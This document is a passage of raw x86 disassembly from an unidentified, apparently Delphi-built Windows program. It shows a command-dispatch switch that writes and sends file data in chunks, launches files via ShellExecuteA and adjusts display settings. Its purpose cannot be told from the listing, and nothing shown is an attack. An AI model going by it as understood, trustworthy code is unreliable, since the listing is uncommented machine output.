lea edx, [ebx + 0x10]
mov ecx, 0x400
call fcn.004047c4
mov ecx, dword [ebp - 0x98c]
mov eax, 0x537538
mov edx, dword [0x537520]
call fcn.00404860
mov eax, dword [0x537538]
call fcn.004e759c
lea eax, [ebp - 0x990]
mov edx, dword [0x537538]
call fcn.00404e18
mov eax, dword [ebp - 0x990]
mov dx, 0xffff
call fcn.0046c78c
mov dword [0x52f558], eax
cmp dword [0x52f558], 0
jne 0x4d838d
push 0
push 0
mov eax, dword [0x537538]
push eax
push 0
push 0
mov ecx, dword [0x53753c]
mov edx, 0xc3
mov eax, dword [ebp - 0x28]
call fcn.004d2c2c
jmp case.0x4d46e1.10
xor eax, eax
push ebp
push 0x4d83bb
push dword fs:[eax]
mov dword fs:[eax], esp
push dword [0x53754c]
push dword [0x537548]
mov eax, dword [0x52f558]
call fcn.00461ef4
xor eax, eax
pop edx
pop ecx
pop ecx
mov dword fs:[eax], edx
jmp 0x4d83e0
cmp dword [0x52f558], 0
je 0x4d8367
push 0
push 0
mov eax, dword [0x52f558]
call fcn.00461e94
mov dl, 1
mov eax, dword [0x4143a4]
call fcn.00403720
mov dword [0x53755c], eax
xor eax, eax
mov dword [0x537558], eax
jmp case.0x4d46e1.10
call fcn.004d3d60
jmp case.0x4d46e1.10
lea edx, [ebp - 0x994]
mov eax, 0xa5
call fcn.004a802c
mov eax, dword [ebp - 0x994]
mov edx, 0x4d9ae8
call fcn.0046b9c8
lea edx, [ebp - 0x998]
mov eax, 0xa5
call fcn.004a802c
mov eax, dword [ebp - 0x998]
mov edx, 0x4d9b00
call fcn.0046b9c8
jmp case.0x4d46e1.10
mov edx, dword [0x530810]
mov edx, dword [edx]
lea eax, [ebp - 0x34]
mov ecx, 0x4d9b18
call fcn.00404860
mov eax, dword [ebp - 0x34]
call fcn.0046c3fc
test al, al
jne 0x4d84d6
lea eax, [ebp - 0x99c]
mov edx, dword [ebp - 0x34]
call fcn.00404e18
mov eax, dword [ebp - 0x99c]
mov dx, 0xffff
call fcn.0046c78c
mov dword [ebp - 0x20], eax
cmp dword [ebp - 0x20], 0
je 0x4d84d6
mov eax, dword [0x52f564]
call fcn.00404814
push eax
mov eax, 0x52f564
call fcn.00404a64
mov edx, eax
mov eax, dword [ebp - 0x20]
pop ecx
mov ebx, dword [eax]
call dword [ebx + 0xc]
mov eax, dword [ebp - 0x20]
call fcn.00403750
push 1
push 0x4d99ec
push 0x4d99ec
lea eax, [ebp - 0x34]
call fcn.00404a64
push eax
push 0x4d99d4
push 0
call sub.shell32.dll_ShellExecuteA
jmp case.0x4d46e1.10
mov eax, dword [0x5308d4]
cmp dword [eax], 0
jne case.0x4d46e1.10
xor ecx, ecx
mov dl, 1
mov eax, dword [0x4b098c]
call fcn.0041f128
mov edx, dword [0x5308d4]
mov dword [edx], eax
jmp case.0x4d46e1.10
mov eax, dword [0x536138]
mov eax, dword [eax + 0x314]
cmp byte [eax + 0x94], 0
je case.0x4d46e1.10
lea edx, [ebp - 0x9a0]
lea eax, [ebx + 0x20]
call fcn.00409df0
mov edx, dword [ebp - 0x9a0]
mov eax, dword [0x536138]
mov eax, dword [eax + 0x314]
call fcn.0049cf2c
jmp case.0x4d46e1.10
cmp dword [0x52ef18], 0x51f01a9
jb case.0x4d46e1.10
mov eax, dword [ebx + 0x14]
mov dword [0x537310], eax
mov eax, dword [0x537310]
add eax, 0x5b
cmp eax, dword [0x5373a4]
jb 0x4d8771
mov eax, dword [ebx + 0x10]
mov dword [0x5372b0], eax
cmp dword [0x5372b0], 0
jne 0x4d85ad
mov dword [0x5372b0], 0x64
lea edx, [ebp - 0x34]
lea eax, [ebx + 0x20]
call fcn.00409df0
lea eax, [ebp - 0x34]
call fcn.004d181c
lea eax, [ebp - 0x9a4]
mov edx, dword [ebp - 0x34]
call fcn.00404e18
mov eax, dword [ebp - 0x9a4]
xor edx, edx
call fcn.0046c78c
mov dword [ebp - 0xb4], eax
cmp dword [ebp - 0xb4], 0
je 0x4d8771
xor eax, eax
push ebp
push 0x4d876a
push dword fs:[eax]
mov dword fs:[eax], esp
mov eax, dword [ebp - 0x34]
call fcn.0046c4bc
mov dword [ebp - 0x48], eax
mov eax, dword [ebp - 0xb4]
call fcn.00461e20
cmp edx, 0
jne 0x4d863b
cmp eax, 0
jne 0x4d863b
push 0
push 1
push 0
push 0
push 0
mov ecx, dword [ebp - 0x48]
mov edx, 0xe8
mov eax, dword [ebp - 0x28]
call fcn.004d2c2c
jmp 0x4d874a
lea ebx, [ebp - 0x798]
mov byte [ebx + 0xd], 0xc
mov byte [ebx + 0xc], 0xf3
mov byte [ebx + 0xe], 0
mov eax, dword [ebp - 0x48]
mov dword [ebx + 0x10], eax
mov eax, dword [ebp - 0xb4]
call fcn.00461e20
mov dword [ebx + 0x18], eax
xor eax, eax
mov dword [ebx + 0x1c], eax
push 0
push 0
mov eax, dword [ebp - 0xb4]
call fcn.00461e94
xor esi, esi
mov byte [0x52ef30], 1
mov dword [ebx + 0x14], esi
inc esi
mov eax, dword [ebp - 0xb4]
call fcn.00461e20
push edx
push eax
mov eax, dword [ebp - 0xb4]
call fcn.00461e70
sub dword [esp], eax
sbb dword [esp + 4], edx
pop eax
pop edx
cmp edx, 0
jne 0x4d86b1
cmp eax, 0x500
jbe 0x4d86bf
jmp 0x4d86b3
jle 0x4d86bf
mov dword [ebp - 0xac], 0x500
jmp 0x4d86df
mov eax, dword [ebp - 0xb4]
call fcn.00461e20
mov edi, eax
mov eax, dword [ebp - 0xb4]
call fcn.00461e70
sub edi, eax
mov dword [ebp - 0xac], edi
lea edx, [ebx + 0x20]
mov ecx, dword [ebp - 0xac]
mov eax, dword [ebp - 0xb4]
mov edi, dword [eax]
call dword [edi + 8]
mov eax, dword [ebp - 0xac]
add eax, 0x20
mov dword [ebx + 4], eax
mov edx, ebx
mov eax, dword [ebp - 0x28]
call fcn.004d2910
test al, al
je 0x4d874a
test esi, 0xf
jne 0x4d8721
mov eax, dword [0x5306f0]
mov eax, dword [eax]
call fcn.00447f38
mov eax, dword [ebp - 0xb4]
call fcn.00461e20
push edx
push eax
mov eax, dword [ebp - 0xb4]
call fcn.00461e70
cmp edx, dword [esp + 4]
jne 0x4d8742
cmp eax, dword [esp]
pop edx
pop eax
jne 0x4d867e
xor eax, eax
pop edx
pop ecx
pop ecx
mov dword fs:[eax], edx
push case.0x4d46e1.10
mov byte [0x52ef30], 0
mov eax, dword [ebp - 0xb4]
call fcn.00403750
ret
push 0
push 1
push 0
push 0
push 0
xor ecx, ecx
mov edx, 0xd3
mov eax, dword [ebp - 0x28]
call fcn.004d2c2c
jmp case.0x4d46e1.10
mov eax, dword [ebx + 0x14]
mov dword [0x537484], eax
push 0
push 0x3e8
push 0
push 0x3c
mov eax, dword [ebx + 0x10]
cdq
call fcn.004058cc
call fcn.004058cc
mov dword [0x52f4e4], eax
mov dword [0x52f4e8], edx
cmp dword [0x52f4e8], 0
jne 0x4d87d4
cmp dword [0x52f4e4], 0
jbe case.0x4d46e1.10
jmp 0x4d87da
jle case.0x4d46e1.10
mov eax, dword [0x52eee0]
mov edx, dword [0x52eee4]
add eax, dword [0x52f4e4]
adc edx, dword [0x52f4e8]
mov dword [0x52f4e4], eax
mov dword [0x52f4e8], edx
jmp case.0x4d46e1.10
mov eax, dword [ebx + 0x14]
mov dword [0x537484], eax
push 0
push 0x3e8
mov eax, dword [ebx + 0x10]
cdq
call fcn.004058cc
mov dword [0x52f4e4], eax
mov dword [0x52f4e8], edx
cmp dword [0x52f4e8], 0
jne 0x4d883f
cmp dword [0x52f4e4], 0
jbe case.0x4d46e1.10
jmp 0x4d8845
jle case.0x4d46e1.10
mov eax, dword [0x52eee0]
mov edx, dword [0x52eee4]
add eax, dword [0x52f4e4]
adc edx, dword [0x52f4e8]
mov dword [0x52f4e4], eax
mov dword [0x52f4e8], edx
jmp case.0x4d46e1.10
mov eax, dword [ebx + 0x10]
movzx edx, word [0x537348]
cmp eax, edx
jne case.0x4d46e1.10
mov eax, 0x537494
mov dl, 1
call fcn.004e6760
test al, al
je case.0x4d46e1.10
mov eax, dword [0x537494]
call fcn.00404e38
cmp eax, dword [0x537498]
jle 0x4d88cd
cmp dword [ebx + 0x14], 1
jne case.0x4d46e1.10
push 0
push 0
push 0
mov ecx, 1
mov edx, 0xba
mov eax, dword [ebp - 0x28]
call fcn.004d2dc8
jmp case.0x4d46e1.10
mov eax, dword [0x537494]
call fcn.00404e38
test eax, eax
jne 0x4d8902
cmp dword [ebx + 0x14], 1
jne case.0x4d46e1.10
push 0
push 0
push 0
mov ecx, 2
mov edx, 0xba
mov eax, dword [ebp - 0x28]
call fcn.004d2dc8
jmp case.0x4d46e1.10
cmp byte [ebx + 0xc], 0xed
jne 0x4d892f
movzx eax, word [0x537348]
push eax
mov eax, dword [ebx + 0x14]
shl eax, 8
push eax
mov ecx, dword [0x537494]
mov edx, 0x10
mov eax, dword [ebp - 0x28]
call fcn.004d2e68
jmp case.0x4d46e1.10
movzx eax, word [0x537348]
push eax
mov eax, dword [ebx + 0x14]
shl eax, 8
push eax
mov ecx, dword [0x537494]
mov edx, 0xd
mov eax, dword [ebp - 0x28]
call fcn.004d2e68
jmp case.0x4d46e1.10
movzx eax, word [0x537348]
cmp eax, dword [ebx + 0x10]
jne case.0x4d46e1.10
cmp byte [0x52f4fc], 0
je case.0x4d46e1.10
movzx ecx, word [0x537348]
mov edx, 0x13
mov eax, dword [0x5374a8]
call fcn.004d2fe0
jmp case.0x4d46e1.10
mov eax, dword [ebx + 0x10]
movzx edx, word [0x537348]
cmp eax, edx
jne case.0x4d46e1.10
mov eax, dword [0x53749c]
call fcn.0041952c
cmp edx, 0
jne 0x4d89ba
cmp eax, 0
jbe case.0x4d46e1.10
jmp 0x4d89c0
jle case.0x4d46e1.10
movzx ecx, word [0x537348]
mov edx, 0x14
mov eax, dword [0x53749c]
call fcn.004d2fe0
jmp case.0x4d46e1.10
mov eax, dword [ebx + 0x10]
movzx edx, word [0x537348]
cmp eax, edx
jne case.0x4d46e1.10
lea edx, [ebp - 0xd0]
mov eax, 0x28
call fcn.004a88fc
cmp dword [ebx + 0x14], 0
jne 0x4d8a26
lea eax, [ebp - 0x9a8]
mov edx, dword [ebp - 0xd0]
call fcn.00404e18
mov eax, dword [ebp - 0x9a8]
mov dl, 1
call fcn.004e67f4
jmp case.0x4d46e1.10
cmp dword [ebx + 0x14], 2
jne case.0x4d46e1.10
lea eax, [ebp - 0x9ac]
mov edx, dword [ebp - 0xd0]
call fcn.00404e18
mov eax, dword [ebp - 0x9ac]
mov dl, 1
call fcn.004e6884
jmp case.0x4d46e1.10
lea edx, [ebp - 0x9b0]
lea eax, [ebx + 0x20]
call fcn.00409df0
mov edx, dword [ebp - 0x9b0]
mov eax, 0x537488
call fcn.004045b0
mov eax, 0x537488
call fcn.004d181c
mov dl, 1
mov eax, dword [0x4eafd0]
call fcn.00403720
mov esi, eax
push 0xa
lea eax, [ebp - 0x9b4]
mov edx, dword [0x537488]
call fcn.00404e18
mov eax, dword [ebp - 0x9b4]
push eax
push esi
call fcn.0046c5d8
test al, al
je 0x4d8b39
xor eax, eax
mov dword [ebp - 0x44], eax
mov eax, esi
call fcn.0041952c
push edx
push eax
mov eax, esi
call fcn.00419518
lea edx, [ebp - 0x44]
mov ecx, 1
mov eax, esi
mov ebx, dword [eax]
call dword [ebx + 0xc]
mov eax, esi
call fcn.0041952c
add eax, 0x20
adc edx, 0
push edx
push eax
mov eax, esi
call fcn.0041957c
mov eax, esi
call fcn.0041952c
mov ecx, eax
sub ecx, 0x20
mov edx, dword [esi + 4]
mov eax, dword [esi + 4]
add eax, 0x20
call fcn.0046a984
mov ebx, dword [esi + 4]
mov byte [ebx + 0xd], 0xc
mov byte [ebx + 0xc], 0xf5
mov eax, esi
call fcn.0041952c
mov dword [ebx + 4], eax
xor eax, eax
mov dword [ebx + 0x1c], eax
cmp dword [ebx + 4], 0x540
jle 0x4d8b2f
mov eax, ebx
call fcn.004ddc80
mov edx, ebx
mov eax, dword [ebp - 0x28]
call fcn.004d2910
mov eax, esi
call fcn.00403750
jmp case.0x4d46e1.10
cmp dword [0x52f558], 0
jne 0x4d8b8c
mov eax, dword [ebx + 0x10]
cmp eax, dword [0x537560]
jne case.0x4d46e1.10
cmp byte [0x537554], 0
je case.0x4d46e1.10
push 0
push 0
push 0
push 0
push 0
mov ecx, dword [0x537560]
mov edx, 0xc4
mov eax, dword [ebp - 0x28]
call fcn.004d2c2c
jmp case.0x4d46e1.10
mov eax, dword [ebx + 0x10]
cmp eax, dword [0x53753c]
jne case.0x4d46e1.10
push 0
push 0x400
mov eax, dword [0x537548]
mov edx, dword [0x53754c]
add eax, 0x3ff
adc edx, 0
call fcn.004058f0
mov ebx, eax
cmp ebx, dword [0x537558]
jbe 0x4d8be3
mov edx, dword [0x537558]
mov eax, dword [0x53755c]
call fcn.00416b64
inc dword [0x537558]
cmp ebx, dword [0x537558]
ja 0x4d8bc5
lea ebx, [ebp - 0x798]
lea edi, [ebx + 0x20]
mov eax, dword [0x53755c]
mov esi, dword [eax + 8]
dec esi
xor eax, eax
mov dword [ebp - 0x48], eax
test esi, esi
jl 0x4d8c1c
mov edx, esi
mov eax, dword [0x53755c]
call fcn.00416cc0
mov dword [edi], eax
add edi, 4
dec esi
inc dword [ebp - 0x48]
cmp dword [ebp - 0x48], 0x140
jne 0x4d8bfa
mov byte [ebx + 0xd], 0xc
mov byte [ebx + 0xc], 0xfe
mov byte [ebx + 0xe], 0
sub edi, ebx
mov dword [ebx + 4], edi
mov eax, dword [ebx + 4]
sub eax, 0x20
test eax, eax
jns 0x4d8c3a
add eax, 3
sar eax, 2
mov dword [ebx + 0x10], eax
mov eax, dword [0x53753c]
mov dword [ebx + 0x14], eax
mov edx, ebx
mov eax, dword [ebp - 0x28]
call fcn.004d2910
jmp case.0x4d46e1.10
mov eax, dword [ebx + 0x10]
mov dword [0x52f4ec], eax
mov eax, dword [ebx + 0x14]
mov dword [0x52f4f0], eax
jmp case.0x4d46e1.10
mov eax, dword [ebx + 0x10]
mov dword [0x52ef84], eax
jmp case.0x4d46e1.10
lea edx, [ebp - 0x34]
lea eax, [ebx + 0x20]
call fcn.00409df0
lea eax, [ebp - 0x34]
call fcn.004d181c
mov eax, dword [ebp - 0x34]
call fcn.0046c3fc
test al, al
je case.0x4d46e1.10
mov byte [ebp - 0xc5], 0
lea eax, [ebp - 0x9b8]
mov edx, dword [ebp - 0x34]
call fcn.00404e18
mov eax, dword [ebp - 0x9b8]
lea ecx, [ebp - 0xb8]
lea edx, [ebp - 0xc4]
call fcn.0046d0b0
lea edx, [ebp - 0xc0]
mov eax, 1
call fcn.004a802c
mov al, byte [0x4d9b28]
push eax
lea eax, [ebp - 0xbc]
push eax
lea edx, [ebp - 0x9c0]
mov eax, dword [0x530a44]
mov eax, dword [eax]
call fcn.00409a28
mov edx, dword [ebp - 0x9c0]
lea eax, [ebp - 0x9bc]
call fcn.00404e18
mov eax, dword [ebp - 0x9bc]
push eax
lea eax, [ebp - 0x9c4]
mov edx, dword [ebp - 0xc0]
call fcn.00404e18
mov edx, dword [ebp - 0x9c4]
mov eax, dword [ebp - 0xb8]
pop ecx
call fcn.004ec340
mov eax, dword [ebp - 0xbc]
mov edx, dword [ebp - 0xb8]
call fcn.00404f50
je case.0x4d46e1.10
lea eax, [ebp - 0x9c8]
mov edx, dword [ebp - 0x34]
call fcn.00404e18
mov eax, dword [ebp - 0x9c8]
mov ecx, dword [ebp - 0xbc]
mov edx, dword [ebp - 0xc4]
call fcn.0046d18c
jmp case.0x4d46e1.10
mov eax, dword [0x536140]
call fcn.0049c760
xor ecx, ecx
xor edx, edx
mov eax, dword [ebp - 0x28]
call fcn.004e0220
mov byte [0x52ef40], 1
call fcn.004d3dc8
xor eax, eax
call fcn.004d3de8
jmp case.0x4d46e1.10
mov al, byte [0x52ef2c]
xor al, 1
mov byte [0x52ef2c], al
cmp byte [0x52ef2c], 0
je 0x4d8de7
push 0
call sub.user32.dll_GetDC
mov edi, eax
test edi, edi
je 0x4d8de7
push 0x58
push edi
call sub.gdi32.dll_GetDeviceCaps
mov dword [0x52efc4], eax
push 0x5a
push edi
call sub.gdi32.dll_GetDeviceCaps
mov dword [0x52efc8], eax
push edi
push 0
call sub.user32.dll_ReleaseDC
jmp 0x4d8dfb
mov dword [0x52efc4], 0x60
mov dword [0x52efc8], 0x60
call fcn.004d0e54
jmp case.0x4d46e1.10
mov al, byte [0x4d99e4]
push eax
lea eax, [ebp - 0xe0]
push eax
lea eax, [ebp - 0x9cc]
lea edx, [ebx + 0x20]
mov ecx, 0x400
call fcn.004047c4
mov eax, dword [ebp - 0x9cc]
mov ecx, 0x4d9b34
mov edx, 0x4d9b40
call fcn.0040d820
lea eax, [ebp - 0xe0]
call fcn.00404a64
mov dword [ebp - 0xf4], eax
lea edx, [ebp - 0xe4]
lea eax, [ebp - 0xf4]
call fcn.0046ad88
lea eax, [ebp - 0xe4]
call fcn.004d181c
lea edx, [ebp - 0xe8]
lea eax, [ebp - 0xf4]
call fcn.0046ad88
lea edx, [ebp - 0xec]
lea eax, [ebp - 0xf4]
call fcn.0046ad88
lea edx, [ebp - 0xf0]
lea eax, [ebp - 0xf4]
call fcn.0046ad88
lea eax, [ebp - 0x9d0]
mov edx, dword [ebp - 0xec]
call fcn.00404e18
mov eax, dword [ebp - 0x9d0]
push eax
lea eax, [ebp - 0x9d4]
mov edx, dword [ebp - 0xf0]
call fcn.00404e18
mov eax, dword [ebp - 0x9d4]
push eax
mov eax, dword [ebx + 0x14]
push eax
xor eax, eax
mov al, byte [ebx + 0xc]
push eax
lea eax, [ebp - 0x9d8]
mov edx, dword [ebp - 0xe8]
call fcn.00404e18
mov ecx, dword [ebp - 0x9d8]
mov edx, dword [ebx + 0x10]
mov eax, dword [ebp - 0xe4]
call fcn.004d9f60
mov dword [ebp - 0x48], eax
cmp byte [ebx + 0xc], 0xff
jne 0x4d8f1d
push 0
push 0
push 0
mov ecx, dword [ebp - 0x48]
mov edx, 0xc1
mov eax, dword [ebp - 0x28]
call fcn.004d2dc8
jmp case.0x4d46e1.10
push 0
push 0
push 0
mov ecx, dword [ebp - 0x48]
mov edx, 0xbe
mov eax, dword [ebp - 0x28]
call fcn.004d2dc8
jmp case.0x4d46e1.10
lea edx, [ebp - 0xe0]
lea eax, [ebx + 0x20]
call fcn.00409df0
lea eax, [ebp - 0xe0]
call fcn.0046c7d8
mov eax, dword [ebx + 0x14]
push eax
mov ecx, dword [ebx + 0x10]
and ecx, 0xffff
mov edx, dword [ebx + 0x10]
shr edx, 0x10
mov eax, dword [ebp - 0xe0]
call fcn.004d9bec
jmp case.0x4d46e1.10
lea edx, [ebp - 0xe0]
lea eax, [ebx + 0x20]
call fcn.00409df0
lea eax, [ebp - 0xe0]
call fcn.004d181c
mov eax, dword [ebp - 0xe0]
call fcn.0046c3fc
test al, al
je case.0x4d46e1.10
mov dl, 1
mov eax, dword [ebp - 0xe0]
call fcn.004df518
jmp case.0x4d46e1.10
cmp dword [0x5373a4], 0xb1a1
ja case.0x4d46e1.10
mov eax, dword [ebx + 0x10]
mov dword [0x537500], eax
cmp dword [ebx + 0x1c], 0
je 0x4d9000
push 0
mov ecx, dword [ebx + 4]
sub ecx, 0x20
lea edx, [ebx + 0x20]
mov eax, dword [ebp - 0x28]
mov eax, dword [eax + 0x2f4]
call fcn.0046895c
mov eax, dword [ebp - 0x28]
mov eax, dword [eax + 0x2f4]
mov eax, dword [eax + 0x30]
mov eax, dword [eax + 4]
mov dword [ebp - 0xf4], eax
jmp 0x4d9009
lea eax, [ebx + 0x20]
mov dword [ebp - 0xf4], eax
cmp dword [0x52f54c], 0
jne 0x4d9023
mov dl, 1
mov eax, dword [0x414a08]
call fcn.00403720
mov dword [0x52f54c], eax
lea eax, [ebp - 0x9dc]
mov edx, dword [ebp - 0xf4]
call fcn.0040474c
mov edx, dword [ebp - 0x9dc]
mov eax, dword [0x52f54c]
mov ecx, dword [eax]
call dword [ecx + 0x2c]
lea ecx, [ebp - 0x9e4]
xor edx, edx
mov eax, dword [0x52f54c]
mov ebx, dword [eax]
call dword [ebx + 0xc]
mov eax, dword [ebp - 0x9e4]
lea edx, [ebp - 0x9e0]
call fcn.004099f4
mov edx, dword [ebp - 0x9e0]
mov eax, 0x537504
call fcn.004045b0
mov eax, 0x537504
call fcn.004d181c
xor edx, edx
mov eax, dword [0x52f54c]
mov ecx, dword [eax]
call dword [ecx + 0x48]
push 0
push 0
push 0x52b
mov eax, dword [ebp - 0x28]
call fcn.0045ca7c
push eax
call sub.user32.dll_PostMessageA
jmp case.0x4d46e1.10
mov byte [0x537514], 0
jmp case.0x4d46e1.10
mov eax, dword [ebx + 0x10]
mov dword [0x537518], eax
jmp case.0x4d46e1.10
mov eax, dword [ebx + 0x10]
call fcn.0040305c
mov dword [ebp - 0x48], eax
mov eax, dword [ebp - 0x48]
inc eax
call fcn.004d06d0
mov eax, 3
call fcn.0040305c
mov dword [ebp - 0x48], eax
lea edx, [ebp - 0xe0]
mov eax, dword [ebp - 0x48]
call fcn.004d369c
cmp dword [ebp - 0xe0], 0
jne 0x4d910a
lea eax, [ebp - 0xe0]
mov edx, 0x4d9b50
call fcn.004045f4
push 0
push 0
lea eax, [ebp - 0xe0]
call fcn.00404a64
push eax
xor ecx, ecx
mov edx, 0xc0
mov eax, dword [ebp - 0x28]
call fcn.004d2dc8
jmp case.0x4d46e1.10
call fcn.0040af88
add esp, 0xfffffff8
fstp qword [esp]
wait
lea edx, [ebp - 0xe0]
mov eax, 0x4d9b60
call fcn.0040bb9c
push 0
push 0
lea eax, [ebp - 0xe0]
call fcn.00404a64
push eax
xor ecx, ecx
mov edx, 0xc4
mov eax, dword [ebp - 0x28]
call fcn.004d2dc8
jmp case.0x4d46e1.10
mov eax, dword [ebx + 0x10]
mov dword [ebp - 0x100], eax
mov eax, dword [ebx + 0x14]
mov dword [ebp - 0xfc], eax
push dword [ebp - 0xfc]
push dword [ebp - 0x100]
call fcn.004d1350
jmp case.0x4d46e1.10
mov dl, 1
mov eax, dword [0x414a08]
call fcn.00403720
mov esi, eax
lea eax, [ebp - 0x9e8]
lea edx, [ebx + 0x20]
mov ecx, 0x400
call fcn.004047c4
mov edx, dword [ebp - 0x9e8]
mov eax, esi
mov ecx, dword [eax]
call dword [ecx + 0x2c]
lea ecx, [ebp - 0xe4]
xor edx, edx
mov eax, esi
mov edi, dword [eax]
call dword [edi + 0xc]
lea ecx, [ebp - 0xe8]
mov edx, 1
mov eax, esi
mov edi, dword [eax]
call dword [edi + 0xc]
lea ecx, [ebp - 0xec]
mov edx, 2
mov eax, esi
mov edi, dword [eax]
call dword [edi + 0xc]
lea ecx, [ebp - 0xf0]
mov edx, 3
mov eax, esi
mov edi, dword [eax]
call dword [edi + 0xc]
lea eax, [ebp - 0xe4]
call fcn.004d181c
lea eax, [ebp - 0x9f4]
mov edx, dword [ebp - 0xe4]
call fcn.00404e18
mov eax, dword [ebp - 0x9f4]
lea ecx, [ebp - 0x9f0]
lea edx, [ebp - 0xf8]
call fcn.0046d0b0
mov edx, dword [ebp - 0x9f0]
lea eax, [ebp - 0x9ec]
call fcn.004047dc
mov edx, dword [ebp - 0x9ec]
mov eax, esi
mov ecx, dword [eax]
call dword [ecx + 0x2c]
cmp dword [ebp - 0xf8], 0xfffffffd
jne 0x4d9284
test byte [ebx + 0x10], 1
jne 0x4d9284
push 0
push 0
push 0
or ecx, 0xffffffff
mov edx, 0xc2
mov eax, dword [ebp - 0x28]
call fcn.004d2dc8
jmp 0x4d935b
cmp dword [ebp - 0xf8], 0xfffffffe
jne 0x4d92aa
push 0
push 0
push 0
mov ecx, 0xfffffffe
mov edx, 0xc2
mov eax, dword [ebp - 0x28]
call fcn.004d2dc8
jmp 0x4d935b
mov eax, dword [ebp - 0xec]
push eax
mov eax, dword [ebp - 0xf0]
push eax
xor edx, edx
mov dl, byte [ebx + 0xc]
mov ecx, dword [ebp - 0xe8]
mov eax, esi
call fcn.004d4018
mov eax, dword [ebp - 0xe4]
call fcn.004e759c
lea edx, [ebp - 0x9fc]
mov eax, esi
mov ecx, dword [eax]
call dword [ecx + 0x1c]
mov edx, dword [ebp - 0x9fc]
lea eax, [ebp - 0x9f8]
call fcn.00404e18
mov eax, dword [ebp - 0x9f8]
push eax
lea eax, [ebp - 0xa00]
mov edx, dword [ebp - 0xe4]
call fcn.00404e18
mov eax, dword [ebp - 0xa00]
mov edx, dword [ebp - 0xf8]
pop ecx
call fcn.0046d18c
mov dword [ebp - 0xf8], eax
cmp dword [ebp - 0xf8], 0
jl 0x4d9343
push 0
push 0
push 0
xor ecx, ecx
mov edx, 0xc2
mov eax, dword [ebp - 0x28]
call fcn.004d2dc8
jmp 0x4d935b
push 0
push 0
push 0
mov ecx, 0xfffffffd
mov edx, 0xc2
mov eax, dword [ebp - 0x28]
call fcn.004d2dc8
mov eax, esi
call fcn.00403750
jmp case.0x4d46e1.10
mov dword [0x537338], 1
jmp case.0x4d46e1.10
xor eax, eax
call fcn.004e7970
jmp case.0x4d46e1.95
call fcn.004e7954
jmp case.0x4d46e1.95
lea edx, [ebp - 0xe0]
lea eax, [ebx + 0x20]
call fcn.00409df0
lea eax, [ebp - 0xa04]
mov edx, dword [ebp - 0xe0]
call fcn.00404e18
mov eax, dword [ebp - 0xa04]
lea ecx, [ebp - 0xb8]
lea edx, [ebp - 0xf8]
call fcn.0046d0b0
cmp dword [ebp - 0xf8], 0
jl case.0x4d46e1.10
mov eax, dword [ebx + 0x10]
cmp eax, dword [ebp - 0xf8]
je case.0x4d46e1.10
lea eax, [ebp - 0xa08]
mov edx, dword [ebp - 0xe0]
call fcn.00404e18
mov eax, dword [ebp - 0xa08]
mov edx, dword [ebx + 0x10]
mov ecx, dword [ebp - 0xb8]
call fcn.0046d18c
jmp case.0x4d46e1.10
cmp dword [0x52ef94], 0
je 0x4d9417
mov dword [ebp - 0x48], 1
jmp 0x4d941c
xor eax, eax
mov dword [ebp - 0x48], eax
push 0
push 0
push 0
mov ecx, dword [ebp - 0x48]
mov edx, 0xc3
mov eax, dword [ebp - 0x28]
call fcn.004d2dc8
jmp case.0x4d46e1.10
lea edx, [ebp - 0xe0]
lea eax, [ebx + 0x20]
call fcn.00409df0
mov edx, dword [ebp - 0xe0]
mov eax, 0x4d9b7c
call fcn.00404b50
mov dword [ebp - 0x48], eax
lea eax, [ebp - 0xa0c]
push eax
mov ecx, dword [ebp - 0x48]
dec ecx
mov edx, 1
mov eax, dword [ebp - 0xe0]
call fcn.00404a6c
mov eax, dword [ebp - 0xa0c]
push eax
lea eax, [ebp - 0xa10]
mov edx, dword [0x5304ec]
mov edx, dword [edx]
call fcn.00404e18
mov eax, dword [ebp - 0xa10]
mov edx, 0x4d9b88
pop ecx
call fcn.0046c25c
mov eax, dword [ebx + 0x10]
cdq
push edx
push eax
lea eax, [ebp - 0xa14]
mov edx, dword [0x5304ec]
mov edx, dword [edx]
call fcn.00404e18
mov eax, dword [ebp - 0xa14]
mov edx, 0x4d9b98
call fcn.0046c00c
mov eax, dword [ebx + 0x14]
cdq
push edx
push eax
lea eax, [ebp - 0xa18]
mov edx, dword [0x5304ec]
mov edx, dword [edx]
call fcn.00404e18
mov eax, dword [ebp - 0xa18]
mov edx, 0x4d9bac
call fcn.0046c00c
lea eax, [ebp - 0xa1c]
push eax
mov edx, dword [ebp - 0x48]
inc edx
mov ecx, 0x400
mov eax, dword [ebp - 0xe0]
call fcn.00404a6c
mov eax, dword [ebp - 0xa1c]
push eax
lea eax, [ebp - 0xa20]
mov edx, dword [0x5304ec]
mov edx, dword [edx]
call fcn.00404e18
mov eax, dword [ebp - 0xa20]
mov edx, 0x4d9bc0
pop ecx
call fcn.0046c25c
jmp case.0x4d46e1.10
lea edx, [ebp - 0xa24]
lea eax, [ebx + 0x20]
call fcn.00409df0
mov edx, dword [ebp - 0xa24]
mov eax, 0x5374d8
call fcn.004045b0
mov eax, dword [ebp - 0x48]
mov eax, dword [ebx + eax*4 + 0x10]
mov dword [0x52f524], eax
mov eax, dword [ebp - 0x28]
mov eax, dword [eax + 0x320]
call fcn.0049c760
cmp dword [0x52f524], 0
jle case.0x4d46e1.10
mov edx, dword [0x5374d8]
mov eax, 0x4d9bd4
call fcn.00404b50
test eax, eax
jle 0x4d95ca
mov eax, dword [ebp - 0x28]
mov eax, dword [eax + 0x320]
xor edx, edx
call fcn.0049c530
mov eax, dword [ebp - 0x28]
mov eax, dword [eax + 0x320]
mov edx, dword [0x5374d8]
call fcn.0049c62c
mov eax, dword [ebp - 0x28]
mov eax, dword [eax + 0x320]
xor edx, edx
call fcn.0049c5ac
jmp 0x4d95fe
mov eax, dword [ebp - 0x28]
mov eax, dword [eax + 0x320]
mov dl, 1
call fcn.0049c530
mov eax, dword [ebp - 0x28]
mov eax, dword [eax + 0x320]
xor edx, edx
call fcn.0049c62c
mov eax, dword [ebp - 0x28]
mov eax, dword [eax + 0x320]
mov edx, dword [0x5374d8]
call fcn.0049c5ac
mov eax, dword [ebp - 0x28]
mov eax, dword [eax + 0x320]
mov edx, dword [0x52f524]
call fcn.0049c6ac
mov eax, dword [ebp - 0x28]
mov eax, dword [eax + 0x320]
call fcn.0049c758
jmp case.0x4d46e1.10
mov al, byte [ebx + 0x10]
mov byte [0x52ef98], al
jmp case.0x4d46e1.10
inc byte [0x52ef98]
mov eax, dword [0x52eed0]
call fcn.004ecfb8
movsx edx, byte [0x52ef98]
cmp eax, edx
jg case.0x4d46e1.10
mov byte [0x52ef98], 0xff
jmp case.0x4d46e1.10
lea edx, [ebp - 0xa2c]
lea eax, [ebx + 0x20]
